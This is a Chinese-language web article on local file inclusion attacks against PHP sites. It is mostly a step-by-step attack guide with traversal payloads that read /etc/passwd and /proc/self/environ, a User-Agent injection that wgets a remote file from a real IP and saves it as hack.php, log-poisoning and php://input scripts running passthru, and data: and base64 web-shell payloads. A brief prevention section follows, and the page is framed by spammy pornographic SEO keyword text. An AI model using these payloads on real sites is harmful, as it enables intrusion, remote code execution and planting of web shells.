成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

LFI(Local File Include)攻擊的捕獲與預防方法

安全 黑客攻防
怎樣通過LFI(Local File Include,本地文件包含)攻擊?第一步:尋找本地包含漏洞;第二步:檢查proc/self/environ是否可用訪問。

剛剛從網站訪問日志中捕獲LFI(Local File Include,本地文件包含)攻擊,攻擊參數為../../../../../../../../../../../../..//proc/self/environ00,攻擊截圖如下:

捕獲LFI攻擊-Local File Include本地文件包含

怎樣通過LFI(Local File Include,本地文件包含)攻擊?

第一步:尋找本地包含漏洞

首先找到一個可能存在本地包含的文件,去check它

比如: www.website.com/view.php?page=contact.php

替換成 www.website.com/view.php?page=../

我們得到一個錯誤

1 Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337

翻譯下以上的錯誤信息如下:

警告:包括(../) [function.include]:未能打開流:沒有那個文件或目錄在/home/sirgod/public_html/website.com/view.php

說明機會很大,只是不存在文件而已

那么我們就針對服務器存在的文件做檢查,比如linux里的/etc/passwd

提交

1 url:www.website.com/view.php?page=../../../etc/passwd

依舊是:

1 Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337

所以我們一層層的加上../測試,直到顯示為止

1 www.website.com/view.php?page=../../../../../etc/passwd

這個時候我們成功的包含了/etc/passwd

1 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:檢查proc/self/environ是否可用訪問

提交

1 url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到類似如下信息:

1 DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

2 Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

說明是可以訪問的,如果返回時個空白頁,說明是無法訪問的,也可能操作系統是FreeBSD

第三步: 注入惡意代碼

我們怎么才能把我們的惡意代碼注入到proc/self/environ呢?

我們可以注入我們的代碼在用戶代理HTTP頭。

使用篡改數據用于Firefox的插件改變Firefox的User-Agent.Start篡改數據和請求URL:

1 www.website.com/view.php?page=../../../../../proc/self/environ

選擇User-Agent 寫代碼如下:

1 <?system('wget http://61.164.38.24/rfi.txt -O hack.php');?>

或者

1 <?php copy('http://61.164.38.24/rfi.txt', 'hack.php') ?>

然后提交請求。

我們的命令將被執行(將下載http://hack-bay.com/Shells/gny.txt,并將其保存為它在shell.php

網站目錄),我們的shell也就被創建,.如果不行,嘗試使用exec(),因為系統可能被禁用的從php.ini網絡服務器.

第四步:訪問我們的shell

預防LFI攻擊的方法

1.涉及到的危險函數(include(),require()和include_once(),require_once())

在這些函數調用時,盡量采用明確參數,如果使用變量做參數則變量必須明確初始化,防止變量被通過URL改變賦值。

2.禁用system等危險php函數。

PHP包含漏洞是怎樣產生的?

php包含漏洞替代技術

php開發者們犯得一個基本的錯誤是把一個不正當的變量傳遞給系統函數,特別是include()和require()這兩個函數。

這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經開始試圖通過缺省設置來消除或限制這種漏洞的所帶來影響。

但即使是簡單的本地文件包含,也會有新的技術去利用這些漏洞來導致遠程命令的執行。

介紹php包含漏洞

文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。

<?php

include($_GET['content']);

 ?>

http://target/index.php?content=/etc/passwd

 http://target/index.php?content=http://trojan/exec.php

這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數情況下不能使用,因為php設置中的allow_url_fopen默認是off。

當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。

<?php

include("pages/".$_GET['content'].".php");

?>

 http://target/index.php?content=../../../etc/passwd%00

…/的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。

如果php設置中open_basedir為on,它將會阻止你繞過過多的目錄。

網站的開發者有可能也會使用一些函數來過濾掉來自用戶提交的惡意數據,但并非總是如此。

空字節字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。

在http://ush.it網站中有一篇名為《PHP文件系統的攻擊媒介》提供了可能的方法來應付空字節字符。

php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發現的phplist的漏洞(phplist是一款國外的Email程序),例子為

http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/passwd

本地文件包含致遠程代碼執行

一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術在過去的幾年中出現。

有一種在服務日志中去注入php代碼的技術比上面這些包含漏洞要出現的晚。

它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。

考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉義。

  1. <?php  
  2. $a = fsockopen("localhost",80);  
  3. fwrite($a,"GET /<?php passthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".  
  4. "Host: localhost\r\n".  
  5. "Connection: Close\r\n\r\n");  
  6. fclose($a);  
  7. ?>  
  8. http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id 

另一種方法是包括了Apache/PHP進程的環境變量的/proc/ self/environ文件。

如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現在那個文件里,所以遠程執行代碼是可能的。

/proc/self/environ必須是可讀的

  1.  <?php 
  2.  $a = fsockopen("localhost",80);  
  3. fwrite($a,"GET /../../../../proc/self/environ HTTP/1.1\r\n".  
  4. "User-Agent: <?php passthru(\$_GET['cmd']); ?>\r\n".  
  5. "Host: localhost\r\n".  
  6. "Connection: Close\r\n\r\n");  
  7. fclose($a);  
  8. ?> 

Php封裝包含漏洞

利用php的include函數的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數據并執行它:

漏洞代碼:

  1. 1 <?php  
  2. include($_GET['content']);  
  3. 3 ?>  
  4. 我們的請求:  
  5. 01 <?php  
  6. 02 $request = "<?php passthru('id;');?>";  
  7. 03 $req = "POST /index.php?content=php://input  
  8. 04 HTTP/1.1\r\n".  
  9. 05 "Host: localhost\r\n".  
  10. 06 "Content-type: text/html\r\n".  
  11. 07 "Content-length: ".strlen($request)."\r\n".  
  12. 08 "Connection: Close\r\n\r\n".  
  13. 09 "$request \r\n\r\n";  
  14. 10 $a = fsockopen("10.0.2.2",80);  
  15. 11 fwrite($a,$req);  
  16. 12 echo $req;  
  17. 13 while (!feof($a)){echo fgets($a, 128);}  
  18. 14 fclose($a);  
  19. 15 ?> 

得到的結果:uid=33(www-data) gid=33(www-data) groups=33(www-data)

這個例子的前提是allow_url_include和allow_fopen_include兩個選項設置為ON,在這種情況下,標準的遠程文件包含是可能的。

這個方法的優點是它不依賴于外部儲存文件服務器。

cr0w-at.blogspot.com提到另一種技術使用”數據:”封裝:

1 index.php?content=data:,<?php system($_GET[c]);?>?&c=dir

或者base64編碼過的:

1 index.php?content=data:;base64,\PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

總結

這些方法大多都不是新的,并沒有表現出缺陷或在PHP語言本身的局限性。這些問題通常可以通過強大的輸入驗證,常識編碼,和一些預防更嚴格的服務器配置。

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2021-12-13 09:41:28

DNS污染攻擊網絡安全

2021-10-03 15:50:06

網絡釣魚病毒黑客

2013-01-10 18:00:09

2022-12-15 08:00:00

2011-10-19 10:47:56

2010-09-16 21:20:02

2010-09-14 16:28:52

2025-02-24 00:00:03

DDoS攻擊工具

2011-07-12 10:38:10

2022-02-14 17:13:46

攻擊面管理網絡安全

2009-08-13 17:25:16

2020-08-29 19:06:18

水坑攻擊惡意軟件網絡攻擊

2019-12-10 08:50:27

網絡攻擊網絡安全漏洞

2012-11-13 11:29:30

2021-06-11 05:24:45

Web網絡攻擊預防講解

2023-07-21 11:53:27

2019-12-24 08:29:56

社會工程學網絡攻擊漏洞

2009-09-23 10:43:22

2020-08-31 10:54:05

勒索軟件漏洞網絡安全

2022-08-25 14:32:39

網絡安全黑客網絡攻擊
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日日夜夜av | 日韩中文字幕在线观看 | 综合久久av | 91视频.| 九九综合九九 | 日韩一区二区三区视频 | 欧美国产精品一区二区三区 | 欧美一区二区视频 | 国产欧美在线播放 | 久久不卡| 欧美精品久久久久久久久久 | 久热爱| 国产精品视屏 | 日本一区二区三区在线观看 | 国产欧美在线视频 | 日韩二三区| 一区二区精品 | 国产精品免费一区二区 | 在线播放国产视频 | 日本免费视频 | 99精品视频在线观看免费播放 | 亚洲精品成人 | 青青草视频免费观看 | 国产97碰免费视频 | 天天插天天狠天天透 | 91麻豆精品国产91久久久久久久久 | 国产黄色在线 | 在线观看成人小视频 | 国产区视频在线观看 | 精品欧美| 成人免费视频在线观看 | 精品久久久久一区二区国产 | 一二三四在线视频观看社区 | 欧美一级片在线观看 | 久久99精品久久久久久国产越南 | 亚洲成人国产 | 久久精品视频亚洲 | 亚洲精品视频免费看 | 国产一级精品毛片 | 国产精品久久久久aaaa | av日韩在线播放 |